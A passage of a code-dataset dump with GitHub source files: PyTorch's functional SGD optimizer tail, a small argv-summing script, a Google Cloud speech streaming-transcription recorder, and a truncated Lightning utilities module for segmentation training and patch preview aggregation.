state:\n momentum_buffer_list.append(None)\n else:\n momentum_buffer_list.append(state[\"momentum_buffer\"])\n\n with torch.no_grad():\n F.sgd(\n params_with_grad,\n grads,\n momentum_buffer_list,\n weight_decay=weight_decay,\n momentum=momentum,\n lr=lr,\n dampening=dampening,\n nesterov=self.nesterov,\n maximize=self.maximize,\n has_sparse_grad=has_sparse_grad,\n foreach=self.foreach,\n )\n\n # update momentum_buffers in state\n for i, p in enumerate(params_with_grad):\n state = self.state[p]\n momentum_buffer = momentum_buffer_list[i]\n if momentum_buffer is not None:\n state[\"momentum_buffer\"] = momentum_buffer\n","repo_name":"pytorch/pytorch","sub_path":"torch/distributed/optim/functional_sgd.py","file_name":"functional_sgd.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"}
+{"seq_id":"20196825791","text":"import sys\n\ntry:\n ar = list(map(lambda x: int(x), sys.argv[1::]))\nexcept Exception as e:\n print(e.__class__.__name__)\nelse:\n if len(ar) == 0:\n print(\"NO PARAMS\")\n else:\n for ind, val in enumerate(ar):\n if ind % 2 != 0:\n ar[ind] = val * -1\n\n print(sum(ar))\n","repo_name":"QBoff/WEB","sub_path":"working_with_terminal/task3/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39041760755","text":"from array import array\nimport argparse\nimport io\nfrom sys import byteorder\nfrom struct import pack\nimport time\n\n## Pip Deps\n# Audio file open as stream (for devel)\nimport soundfile\n\nimport pyaudio\nimport wave\n\n## Protobuff \n\n# [START speech_transcribe_streaming]\ndef transcribe_streaming(recorder, stream_file=''):\n \"\"\"Streams transcription of the given audio file.\"\"\"\n from google.cloud import speech\n from google.cloud.speech import enums\n from google.cloud.speech import types\n client = speech.SpeechClient()\n\n ## dont read from file\n #with io.open(stream_file, 'rb') as audio_file:\n # content = audio_file.read()\n\n ## call live record(); output will be tuple (samp rate, array())\n print(\"Calling record()..\")\n sr, data, data2 = recorder.record()\n print(\"Obtained data with sample rate: \" + str(sr))\n\n print(str(data)[0:20])\n print(str(data2)[0:20])\n # In practice, stream should be a generator yielding chunks of audio data.\n stream = [data2] #[content]\n requests = (types.StreamingRecognizeRequest(audio_content=chunk)\n for chunk in stream)\n\n config = types.RecognitionConfig(\n encoding=enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=16000,\n language_code='en-US')\n streaming_config = types.StreamingRecognitionConfig(config=config)\n\n # streaming_recognize returns a generator.\n # [START speech_python_migration_streaming_response]\n print(\"Calling streaming_recognize()...\")\n responses = client.streaming_recognize(streaming_config, requests)\n # [END speech_python_migration_streaming_request]\n\n if not responses or len(responses) == 0:\n print(\"No transcriptions obtained.\")\n\n for response in responses:\n # Once the transcription has settled, the first result will contain the\n # is_final result. The other results will be for subsequent portions of\n # the audio.\n for result in response.results:\n print('Finished: {}'.format(result.is_final))\n print('Stability: {}'.format(result.stability))\n alternatives = result.alternatives\n # The alternatives are ordered from most likely to least.\n for alternative in alternatives:\n print('Confidence: {}'.format(alternative.confidence))\n print(u'Transcript: {}'.format(alternative.transcript))\n\n # [END speech_python_migration_streaming_response]\n# [END speech_transcribe_streaming]\n\nclass Recorder(object):\n\n def __init__(self):\n self.THRESHOLD = 1000\n self.CHUNK_SIZE = 1024\n self.FORMAT = pyaudio.paInt16\n self.RATE = 16000\n\n def is_silent(self, snd_data):\n \"Returns 'True' if below the 'silent' threshold\"\n m = max(snd_data)\n print(str(m))\n return m < self.THRESHOLD\n\n def normalize(self, snd_data):\n \"Average the volume out\"\n MAXIMUM = 16384\n times = float(MAXIMUM)/max(abs(i) for i in snd_data)\n\n r = array('h')\n for i in snd_data:\n r.append(int(i*times))\n return r\n\n def trim(self, snd_data):\n \"Trim the blank spots at the start and end\"\n def _trim(snd_data):\n snd_started = False\n r = array('h')\n\n for i in snd_data:\n if not snd_started and abs(i)>self.THRESHOLD:\n snd_started = True\n r.append(i)\n\n elif snd_started:\n r.append(i)\n return r\n\n # Trim to the left\n snd_data = _trim(snd_data)\n\n # Trim to the right\n snd_data.reverse()\n snd_data = _trim(snd_data)\n snd_data.reverse()\n return snd_data\n\n def add_silence(self, snd_data, seconds):\n \"Add silence to the start and end of 'snd_data' of length 'seconds' (float)\"\n r = array('h', [0 for i in range(int(seconds*self.RATE))])\n r.extend(snd_data)\n r.extend([0 for i in range(int(seconds*self.RATE))])\n return r\n\n def record(self):\n \"\"\"\n Record from micr; return as an array of signed shorts.\n \"\"\"\n print(\"record() setup..\")\n p = pyaudio.PyAudio()\n stream = p.open(format=self.FORMAT, channels=1, rate=self.RATE,\n input=True, output=True,\n frames_per_buffer=self.CHUNK_SIZE)\n\n num_silent = 0\n max_silent = 30\n last_reported_silent = 0\n snd_started = False\n\n r = array('h')\n\n print(\"record() starting..\")\n bstr = b''\n while 1:\n # little endian, signed short\n rr = stream.read(self.CHUNK_SIZE)\n for _r in rr:\n bstr += pack('h', _r)\n snd_data = array('h', rr)\n if byteorder == 'big':\n snd_data.byteswap()\n r.extend(snd_data)\n\n print(\"record() checking silence.. \" + str(len(r)))\n silent = self.is_silent(snd_data)\n\n if silent and snd_started:\n num_silent += 1\n if (num_silent - last_reported_silent) >= int(max_silent / 4.):\n print(\"Num Silent: \" + str(num_silent))\n last_reported_silent = num_silent\n\n elif not silent and not snd_started:\n snd_started = True\n\n if snd_started and num_silent > max_silent:\n print(\"Enough Silence; breaking record loop\")\n break\n\n print(\"record() stopping stream..\")\n sample_width = p.get_sample_size(self.FORMAT)\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n pp_st = time.time()\n print(\"record() post processing..\")\n r = self.normalize(r)\n r = self.trim(r)\n r = self.add_silence(r, 0.5)\n pp_en = time.time()\n print(\"record() post proc took \" + str(int((pp_en - pp_st) * 1000)))\n return sample_width, r, bstr\n\n def record_to_file(self, path):\n \"Records from the microphone and outputs the resulting data to 'path'\"\n sample_width, data = self.record()\n data = pack('<' + ('h'*len(data)), *data)\n \n wf = wave.open(path, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(sample_width)\n wf.setframerate(self.RATE)\n wf.writeframes(data)\n wf.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n rec = Recorder()\n transcribe_streaming(rec)\n","repo_name":"descartesholland/circumlocution","sub_path":"transcribe_streaming.py","file_name":"transcribe_streaming.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16472641932","text":"import math\r\nimport multiprocessing\r\nimport cv2\r\nimport logging\r\nimport os\r\nimport numpy as np\r\nimport scipy\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport joblib\r\nimport contextlib\r\nimport pandas as pd\r\nimport string\r\nimport sys\r\n\r\nfrom multiprocessing.managers import MakeProxyType, SyncManager\r\nfrom torch.utils.data import default_collate\r\nfrom weakref import proxy\r\nfrom pathlib import Path\r\nfrom patchify import NonUniformStepSizeError, unpatchify\r\nfrom collections import defaultdict\r\nfrom typing import Dict, Optional, Union, Tuple\r\nfrom lightning import Trainer\r\nfrom lightning.pytorch.cli import LightningCLI\r\nfrom lightning.pytorch.loggers import WandbLogger, TensorBoardLogger\r\nfrom timm.layers.format import nhwc_to, Format\r\nfrom torchvision.utils import make_grid\r\nfrom lightning.pytorch.callbacks import EarlyStopping, Callback, ModelCheckpoint, BasePredictionWriter\r\nfrom torch_ema import ExponentialMovingAverage\r\n\r\nfrom src.data.datasets import LABELED_TIME_INDEX, N_TIMES\r\nfrom src.utils.morphology import Erosion2d\r\n\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n###################################################################\r\n########################## General Utils ##########################\r\n###################################################################\r\n\r\nclass MyLightningCLI(LightningCLI):\r\n def add_arguments_to_parser(self, parser):\r\n \"\"\"Add argument links to parser.\r\n\r\n Example:\r\n parser.link_arguments(\"data.init_args.img_size\", \"model.init_args.img_size\")\r\n \"\"\"\r\n parser.link_arguments(\r\n \"data.init_args.img_size\", \r\n \"model.init_args.img_size\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.num_frames\", \r\n \"model.init_args.num_frames\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.test_as_aux_val\", \r\n \"model.init_args.add_dataloader_idx\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.cat_mode\", \r\n \"model.init_args.cat_mode\",\r\n )\r\n \r\n def before_instantiate_classes(self) -> None:\r\n # Set LR: nested dict value setting from CLI is not supported\r\n # so separate arg is used\r\n if 'fit' in self.config and self.config['fit']['model']['init_args']['lr'] is not None:\r\n self.config['fit']['model']['init_args']['optimizer_init']['init_args']['lr'] = \\\r\n self.config['fit']['model']['init_args']['lr']\r\n\r\n\r\nclass MyLightningCLISweep(MyLightningCLI):\r\n \"\"\"Implement args binding for sweeps.\r\n\r\n Sweep configs currently only support cartesian product of args\r\n and not args binding. This is a workaround to bind args.\r\n\r\n E. g. if some value of `backbone_name` imply usage of `compile`\r\n and some not, grid search over `backbone_name` and `compile` is\r\n not possible. This can be solved by binding `compile` to `backbone_name`.\r\n \"\"\"\r\n def before_instantiate_classes(self) -> None:\r\n super().before_instantiate_classes()\r\n\r\n \"\"\"Implement to run some code before instantiating the classes.\"\"\"\r\n device_to_batch_size_divider = {\r\n 'NVIDIA GeForce RTX 3090': 1,\r\n 'NVIDIA GeForce RTX 3080 Ti Laptop GPU': 1,\r\n 'Tesla T4': 1,\r\n 'Tesla V100-SXM2-16GB': 1,\r\n }\r\n\r\n backbone_name_to_batch_params_img_size_256 = {\r\n # Eva\r\n 'eva02_B_ade_seg_upernet_sz512': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n\r\n # SMP old + Unet\r\n 'tf_efficientnet_b5.ns_jft_in1k': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tf_efficientnet_b0.ns_jft_in1k': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tf_efficientnet_b8.ap_in1k': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n\r\n # SMP + Unet\r\n 'timm-efficientnet-b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'timm-efficientnet-b7': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tu-tf_efficientnet_b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n\r\n # HF + Segformer\r\n 'nvidia/mit-b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n\r\n # HF + Upernet\r\n 'openmmlab/upernet-convnext-base': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'facebook/convnextv2-base-22k-224': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'facebook/convnextv2-base-22k-384': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnet_b5': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnet_b7': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnetv2_m': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'tf_efficientnetv2_xl': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'maxvit_rmlp_base_rw_384': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n\r\n # mmseg\r\n 'internimage-b': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n }\r\n }\r\n\r\n backbone_name = self.config['fit']['model']['init_args']['backbone_name']\r\n\r\n # Force img_size for maxvit models\r\n # (required to be divisible by 192)\r\n if backbone_name == 'maxvit_rmlp_base_rw_384':\r\n self.config['fit']['data']['init_args']['img_size'] = 384\r\n self.config['fit']['model']['init_args']['img_size'] = 384\r\n\r\n # Force not deterministic training\r\n deterministic_not_supported_archs = ['eva', 'upernet', 'segformer']\r\n if (\r\n self.config['fit']['model']['init_args']['architecture'] in deterministic_not_supported_archs\r\n ):\r\n if self.config['fit']['trainer']['deterministic']:\r\n logger.warning(\r\n f'Deterministic training is not supported for {deterministic_not_supported_archs} archs. '\r\n f\"Got {self.config['fit']['model']['init_args']['architecture']}. \"\r\n 'Setting `deterministic=False`.'\r\n )\r\n self.config['fit']['trainer']['deterministic'] = False\r\n\r\n # Force not compile\r\n if (\r\n backbone_name.startswith('convnext')\r\n ):\r\n if self.config['fit']['model']['init_args']['compile']:\r\n logger.warning(\r\n 'compile is not supported with convnext or Eva02 models. '\r\n 'Setting `compile=False`.'\r\n )\r\n self.config['fit']['model']['init_args']['compile'] = False\r\n\r\n # Overrride batch params (needed for different machines)\r\n device_name = torch.cuda.get_device_name()\r\n if device_name not in device_to_batch_size_divider:\r\n logger.warning(\r\n f'Unknown device {device_name}. '\r\n f'Using default batch size and accumulate_grad_batches.'\r\n )\r\n device_to_batch_size_divider[device_name] = 1\r\n\r\n # Force special case divider to 1\r\n if backbone_name == 'tf_efficientnet_b5.ns_jft_in1k':\r\n for k in device_to_batch_size_divider:\r\n device_to_batch_size_divider[k] = 1\r\n\r\n # Set default batch params for img_size=256\r\n if backbone_name not in backbone_name_to_batch_params_img_size_256:\r\n backbone_name_to_batch_params_img_size_256[backbone_name] = {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n }\r\n \r\n # Scale batch size and accumulate_grad_batches with image size\r\n area_divider = self.config['fit']['data']['init_args']['img_size'] ** 2 / 256 ** 2\r\n batch_size = backbone_name_to_batch_params_img_size_256[backbone_name]['batch_size']\r\n accumulate_grad_batches = backbone_name_to_batch_params_img_size_256[backbone_name]['accumulate_grad_batches']\r\n divider = device_to_batch_size_divider[device_name] * area_divider\r\n\r\n assert batch_size / divider >= 1, \\\r\n f'It is mandatory in current experiment settings to have batch size ' \\\r\n f'(including accumulation) ~ 64, current ' \\\r\n f'batch size {batch_size} @ 256px imply batch size @ ' \\\r\n f'{self.config[\"fit\"][\"data\"][\"init_args\"][\"img_size\"]}px to be ' \\\r\n f'{batch_size / divider} which is less than 1.'\r\n\r\n if not math.isclose(batch_size / divider - math.floor(batch_size / divider), 0.0):\r\n logger.warning(\r\n f'Batch size {batch_size} is not divisible by {divider}. '\r\n f'Set batch size to {math.floor(batch_size / divider)} and '\r\n f'accumulate_grad_batches to {math.ceil(accumulate_grad_batches * divider)}.'\r\n )\r\n\r\n self.config['fit']['data']['init_args']['batch_size'] = \\\r\n math.floor(batch_size / divider)\r\n self.config['fit']['trainer']['accumulate_grad_batches'] = \\\r\n math.ceil(accumulate_grad_batches * divider)\r\n \r\n # Only divide by device_to_batch_size_divider\r\n if self.config['fit']['data']['init_args']['batch_size_val_test'] is not None:\r\n self.config['fit']['data']['init_args']['batch_size_val_test'] = \\\r\n math.floor(\r\n self.config['fit']['data']['init_args']['batch_size_val_test'] / \r\n device_to_batch_size_divider[device_name]\r\n )\r\n \r\n # Set num_workers to min(number of threads, num_workers)\r\n self.config['fit']['data']['init_args']['num_workers'] = min(\r\n multiprocessing.cpu_count(),\r\n self.config['fit']['data']['init_args']['num_workers'],\r\n )\r\n\r\n logger.info(f'Updated config: {self.config}')\r\n\r\n\r\nclass EarlyStoppingNotReached(EarlyStopping):\r\n \"\"\"Early stopping callback that in addition to conventional one\r\n stops the training if the critical value is not reached by \r\n the critical epoch.\r\n \"\"\"\r\n def __init__(self, critical_value: float, critical_epoch: int, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n self.critical_value = torch.tensor(critical_value)\r\n self.critical_epoch = critical_epoch\r\n\r\n def _run_early_stopping_check(self, trainer) -> None:\r\n \"\"\"Checks whether the early stopping condition is met and if so tells the trainer to stop the training.\"\"\"\r\n super()._run_early_stopping_check(trainer)\r\n if self.stopped_epoch != 0:\r\n return\r\n\r\n logs = trainer.callback_metrics\r\n \r\n if trainer.fast_dev_run or not self._validate_condition_metric( # disable early_stopping with fast_dev_run\r\n logs\r\n ): # short circuit if metric not present\r\n return\r\n \r\n current = logs[self.monitor].squeeze()\r\n should_stop, reason = self._evaluate_stopping_criteria_aux(current, trainer.current_epoch)\r\n \r\n # stop every ddp process if any world process decides to stop\r\n should_stop = trainer.strategy.reduce_boolean_decision(should_stop, all=False)\r\n trainer.should_stop = trainer.should_stop or should_stop\r\n if should_stop:\r\n self.stopped_epoch = trainer.current_epoch\r\n if reason and self.verbose:\r\n self._log_info(trainer, reason, self.log_rank_zero_only)\r\n \r\n def _evaluate_stopping_criteria_aux(self, current: torch.Tensor, current_epoch: int) -> Tuple[bool, Optional[str]]:\r\n should_stop = False\r\n reason = None\r\n \r\n # If the critical value is not reached by the critical epoch, stop the training\r\n if current_epoch >= self.critical_epoch and not self.monitor_op(current - self.min_delta, self.critical_value.to(current.device)):\r\n should_stop = True\r\n reason = (\r\n f\"Monitored metric {self.monitor} did not reach the critical value {self.critical_value:.3f} by the critical epoch {self.critical_epoch}\"\r\n f\" Best score: {self.best_score:.3f}. Signaling Trainer to stop.\"\r\n )\r\n \r\n return should_stop, reason\r\n\r\n\r\nclass TrainerWandb(Trainer):\r\n \"\"\"Hotfix for wandb logger saving config & artifacts to project root dir\r\n and not in experiment dir.\"\"\"\r\n @property\r\n def log_dir(self) -> Optional[str]:\r\n \"\"\"The directory for the current experiment. Use this to save images to, etc...\r\n\r\n .. code-block:: python\r\n\r\n def training_step(self, batch, batch_idx):\r\n img = ...\r\n save_img(img, self.trainer.log_dir)\r\n \"\"\"\r\n if len(self.loggers) > 0:\r\n if isinstance(self.loggers[0], WandbLogger):\r\n dirpath = self.loggers[0]._experiment.dir\r\n elif not isinstance(self.loggers[0], TensorBoardLogger):\r\n dirpath = self.loggers[0].save_dir\r\n else:\r\n dirpath = self.loggers[0].log_dir\r\n else:\r\n dirpath = self.default_root_dir\r\n\r\n dirpath = self.strategy.broadcast(dirpath)\r\n return dirpath\r\n\r\n\r\nclass ModelCheckpointNoSave(ModelCheckpoint):\r\n def best_epoch(self) -> int:\r\n # exmple: epoch=10-step=1452.ckpt\r\n if not '=' in self.best_model_path:\r\n return -1\r\n return int(self.best_model_path.split('=')[-2].split('-')[0])\r\n \r\n def ith_epoch_score(self, i: int) -> Optional[float]:\r\n # exmple: epoch=10-step=1452.ckpt\r\n ith_epoch_filepath_list = [\r\n filepath \r\n for filepath in self.best_k_models.keys()\r\n if f'epoch={i}-' in filepath\r\n ]\r\n \r\n # Not found\r\n if not ith_epoch_filepath_list:\r\n return None\r\n \r\n ith_epoch_filepath = ith_epoch_filepath_list[-1]\r\n return self.best_k_models[ith_epoch_filepath]\r\n\r\n def _save_checkpoint(self, trainer: Trainer, filepath: str) -> None:\r\n self._last_global_step_saved = trainer.global_step\r\n\r\n # notify loggers\r\n if trainer.is_global_zero:\r\n for logger in trainer.loggers:\r\n logger.after_save_checkpoint(proxy(self))\r\n \r\n def on_validation_end(self, trainer, pl_module) -> None:\r\n super().on_validation_end(trainer, pl_module)\r\n\r\n pl_module.logger.experiment.log(\r\n {\r\n f'best_{self.monitor}_epoch': self.best_epoch(), \r\n f'best_{self.monitor}': self.best_model_score,\r\n }\r\n )\r\n\r\n\r\nclass TempSetContextManager:\r\n def __init__(self, obj, attr, value):\r\n self.obj = obj\r\n self.attr = attr\r\n self.value = value\r\n\r\n def __enter__(self):\r\n self.old_value = getattr(self.obj, self.attr)\r\n setattr(self.obj, self.attr, self.value)\r\n\r\n def __exit__(self, *args):\r\n setattr(self.obj, self.attr, self.old_value)\r\n\r\n\r\n\r\ndef state_norm(module: torch.nn.Module, norm_type: Union[float, int, str], group_separator: str = \"/\") -> Dict[str, float]:\r\n \"\"\"Compute each state dict tensor's norm and their overall norm.\r\n\r\n The overall norm is computed over all tensor together, as if they\r\n were concatenated into a single vector.\r\n\r\n Args:\r\n module: :class:`torch.nn.Module` to inspect.\r\n norm_type: The type of the used p-norm, cast to float if necessary.\r\n Can be ``'inf'`` for infinity norm.\r\n group_separator: The separator string used by the logger to group\r\n the tensor norms in their own subfolder instead of the logs one.\r\n\r\n Return:\r\n norms: The dictionary of p-norms of each parameter's gradient and\r\n a special entry for the total p-norm of the tensor viewed\r\n as a single vector.\r\n \"\"\"\r\n norm_type = float(norm_type)\r\n if norm_type <= 0:\r\n raise ValueError(f\"`norm_type` must be a positive number or 'inf' (infinity norm). Got {norm_type}\")\r\n\r\n norms = {\r\n f\"state_{norm_type}_norm{group_separator}{name}\": p.data.float().norm(norm_type)\r\n for name, p in module.state_dict().items()\r\n if not 'num_batches_tracked' in name\r\n }\r\n if norms:\r\n total_norm = torch.tensor(list(norms.values())).norm(norm_type)\r\n norms[f\"state_{norm_type}_norm_total\"] = total_norm\r\n return norms\r\n\r\n\r\n###################################################################\r\n##################### CV ##########################################\r\n###################################################################\r\n\r\n# Segmentation\r\n\r\n# https://github.com/bnsreenu/python_for_microscopists/blob/master/\r\n# 229_smooth_predictions_by_blending_patches/smooth_tiled_predictions.py\r\ndef _spline_window(window_size, power=2):\r\n \"\"\"\r\n Squared spline (power=2) window function:\r\n https://www.wolframalpha.com/input/?i=y%3Dx**2,+y%3D-(x-2)**2+%2B2,+y%3D(x-4)**2,+from+y+%3D+0+to+2\r\n \"\"\"\r\n intersection = int(window_size / 4)\r\n wind_outer = (abs(2*(scipy.signal.triang(window_size))) ** power)/2\r\n wind_outer[intersection:-intersection] = 0\r\n\r\n wind_inner = 1 - (abs(2*(scipy.signal.triang(window_size) - 1)) ** power)/2\r\n wind_inner[:intersection] = 0\r\n wind_inner[-intersection:] = 0\r\n\r\n wind = wind_inner + wind_outer\r\n wind = wind / np.average(wind)\r\n return wind\r\n\r\n\r\ndef _spline_window_2d(h, w, power=2):\r\n h_wind = _spline_window(h, power)\r\n w_wind = _spline_window(w, power)\r\n return h_wind[:, None] * w_wind[None, :]\r\n\r\n\r\ndef _unpatchify2d_avg( # pylint: disable=too-many-locals\r\n patches: np.ndarray, imsize: Tuple[int, int], weight_mode='uniform',\r\n) -> np.ndarray:\r\n assert len(patches.shape) == 4\r\n assert weight_mode in ['uniform', 'spline']\r\n\r\n i_h, i_w = imsize\r\n image = np.zeros(imsize, dtype=np.float32)\r\n weights = np.zeros(imsize, dtype=np.float32)\r\n\r\n n_h, n_w, p_h, p_w = patches.shape\r\n\r\n s_w = 0 if n_w <= 1 else (i_w - p_w) / (n_w - 1)\r\n s_h = 0 if n_h <= 1 else (i_h - p_h) / (n_h - 1)\r\n\r\n # The step size should be same for all patches, otherwise the patches are unable\r\n # to reconstruct into a image\r\n if int(s_w) != s_w:\r\n raise NonUniformStepSizeError(i_w, n_w, p_w, s_w)\r\n if int(s_h) != s_h:\r\n raise NonUniformStepSizeError(i_h, n_h, p_h, s_h)\r\n s_w = int(s_w)\r\n s_h = int(s_h)\r\n\r\n weight = 1 # uniform\r\n if weight_mode == 'spline':\r\n weight = _spline_window_2d(p_h, p_w, power=2)\r\n\r\n # For each patch, add it to the image at the right location\r\n for i in range(n_h):\r\n for j in range(n_w):\r\n image[i * s_h : i * s_h + p_h, j * s_w : j * s_w + p_w] += (patches[i, j] * weight)\r\n weights[i * s_h : i * s_h + p_h, j * s_w : j * s_w + p_w] += weight\r\n\r\n # Average\r\n weights = np.where(np.isclose(weights, 0.0), 1.0, weights)\r\n image /= weights\r\n\r\n image = image.astype(patches.dtype)\r\n\r\n return image, weights\r\n\r\n\r\nclass PredictionTargetPreviewAgg(nn.Module):\r\n \"\"\"Aggregate prediction and target patches to images with downscaling.\"\"\"\r\n def __init__(\r\n self, \r\n preview_downscale: Optional[int] = 4, \r\n metrics=None, \r\n input_std=1, \r\n input_mean=0, \r\n fill_value=0,\r\n overlap_avg_weight_mode='uniform',\r\n ):\r\n super().__init__()\r\n self.preview_downscale = preview_downscale\r\n self.metrics = metrics\r\n self.previews = {}\r\n self.shapes = {}\r\n self.shapes_before_padding = {}\r\n self.input_std = input_std\r\n self.input_mean = input_mean\r\n self.fill_value = fill_value\r\n self.overlap_avg_weight_mode = overlap_avg_weight_mode\r\n\r\n def reset(self):\r\n # Note: metrics are reset in compute()\r\n self.previews = {}\r\n self.shapes = {}\r\n self.shapes_before_padding = {}\r\n\r\n def update(\r\n self, \r\n arrays: Dict[str, torch.Tensor | np.ndarray],\r\n pathes: list[str], \r\n patch_size: torch.LongTensor | np.ndarray,\r\n indices: torch.LongTensor | np.ndarray, \r\n shape_patches: torch.LongTensor | np.ndarray,\r\n shape_original: torch.LongTensor | np.ndarray,\r\n shape_before_padding: torch.LongTensor,\r\n ):\r\n # To CPU & types\r\n for name in arrays:\r\n if isinstance(arrays[name], torch.Tensor):\r\n arrays[name] = arrays[name].cpu().numpy()\r\n \r\n if name == 'input':\r\n arrays[name] = ((arrays[name] * self.input_std + self.input_mean) * 255).astype(np.uint8)\r\n elif name == 'probas':\r\n arrays[name] = arrays[name].astype(np.float32)\r\n elif name == ['mask', 'target']:\r\n arrays[name] = arrays[name].astype(np.uint8)\r\n else:\r\n # Do not convert type\r\n pass\r\n\r\n if isinstance(indices, torch.Tensor):\r\n indices = indices.cpu().numpy()\r\n if isinstance(shape_patches, torch.Tensor):\r\n shape_patches = shape_patches.cpu().numpy()\r\n if isinstance(shape_before_padding, torch.Tensor):\r\n shape_before_padding = shape_before_padding.cpu().numpy()\r\n\r\n indices, shape_patches, shape_before_padding = \\\r\n indices.astype(np.int64), \\\r\n shape_patches.astype(np.int64), \\\r\n shape_before_padding.astype(np.int64)\r\n \r\n # Place patches on the preview images\r\n B = arrays[list(arrays.keys())[0]].shape[0]\r\n for i in range(B):\r\n path = Path(pathes[i])\r\n path = str(path.relative_to(path.parent.parent))\r\n shape = [\r\n *shape_patches[i].tolist(),\r\n *patch_size,\r\n ]\r\n\r\n self.shapes[path] = shape_original[i].tolist()[:2]\r\n self.shapes_before_padding[path] = shape_before_padding[i].tolist()[:2]\r\n patch_index_w, patch_index_h = indices[i].tolist()\r\n\r\n for name, value in arrays.items():\r\n key = f'{name}|{path}'\r\n if key not in self.previews:\r\n self.previews[key] = np.full(shape, fill_value=self.fill_value, dtype=arrays[name].dtype)\r\n if name.startswith('probas'):\r\n # Needed to calculate average from sum\r\n # hack to not change dict size later, actually computed in compute()\r\n self.previews[f'counts|{path}'] = None\r\n self.previews[key][patch_index_h, patch_index_w] = value[i]\r\n \r\n def compute(self):\r\n # Unpatchify\r\n for name in self.previews:\r\n path = name.split('|')[-1]\r\n shape_original = self.shapes[path]\r\n if name.startswith('probas'):\r\n # Average overlapping patches\r\n self.previews[name], counts = _unpatchify2d_avg(\r\n self.previews[name], \r\n shape_original,\r\n weight_mode=self.overlap_avg_weight_mode,\r\n )\r\n self.previews[name.replace('probas', 'counts')] = counts.astype(np.uint8)\r\n elif name.startswith('counts'):\r\n # Do nothing\r\n pass\r\n else:\r\n # Just unpatchify\r\n self.previews[name] = unpatchify(\r\n self.previews[name], \r\n shape_original\r\n )\r\n\r\n # Zero probas out where mask is zero\r\n for name in self.previews:\r\n if name.startswith('probas'):\r\n mask = self.previews[name.replace('probas', 'mask')] == 0\r\n self.previews[name][mask] = 0\r\n\r\n # Crop to shape before padding\r\n for name in self.previews:\r\n path = name.split('|')[-1]\r\n shape_before_padding = self.shapes_before_padding[path]\r\n self.previews[name] = self.previews[name][\r\n :shape_before_padding[0], \r\n :shape_before_padding[1],\r\n ]\r\n\r\n # Compute metrics if available\r\n metric_values = None\r\n if self.metrics is not None:\r\n preds, targets = [], []\r\n for name in self.previews:\r\n if name.startswith('probas'):\r\n path = name.split('|')[-1]\r\n mask = self.previews[f'mask|{path}'] > 0\r\n pred = self.previews[name][mask].flatten()\r\n target = self.previews[f'target|{path}'][mask].flatten()\r\n\r\n preds.append(pred)\r\n targets.append(target)\r\n preds = torch.from_numpy(np.concatenate(preds))\r\n targets = torch.from_numpy(np.concatenate(targets))\r\n\r\n metric_values = {}\r\n for metric_name, metric in self.metrics.items():\r\n metric.update(preds, targets)\r\n metric_values[metric_name] = metric.compute()\r\n metric.reset()\r\n \r\n # Downscale and get captions\r\n captions, previews = [], []\r\n for name, preview in self.previews.items():\r\n if self.preview_downscale is not None:\r\n preview = cv2.resize(\r\n preview,\r\n dsize=(0, 0),\r\n fx=1 / self.preview_downscale, \r\n fy=1 / self.preview_downscale, \r\n interpolation=cv2.INTER_LINEAR, \r\n )\r\n captions.append(name)\r\n previews.append(preview)\r\n\r\n return metric_values, captions, previews\r\n \r\n\r\nclass PredictionTargetPreviewGrid(nn.Module):\r\n \"\"\"Aggregate prediction and target patches to images with downscaling.\"\"\"\r\n def __init__(self, preview_downscale: int = 4, n_images: int = 4):\r\n super().__init__()\r\n self.preview_downscale = preview_downscale\r\n self.n_images = n_images\r\n self.previews = defaultdict(list)\r\n\r\n def reset(self):\r\n self.previews = defaultdict(list)\r\n\r\n def update(\r\n self, \r\n input: torch.Tensor,\r\n probas: torch.Tensor, \r\n target: torch.Tensor, \r\n ):\r\n # Add images until grid is full\r\n for i in range(probas.shape[0]):\r\n if len(self.previews['input']) >= self.n_images:\r\n return\r\n\r\n # Get preview images\r\n inp = F.interpolate(\r\n input[i].float().unsqueeze(0),\r\n scale_factor=1 / self.preview_downscale, \r\n 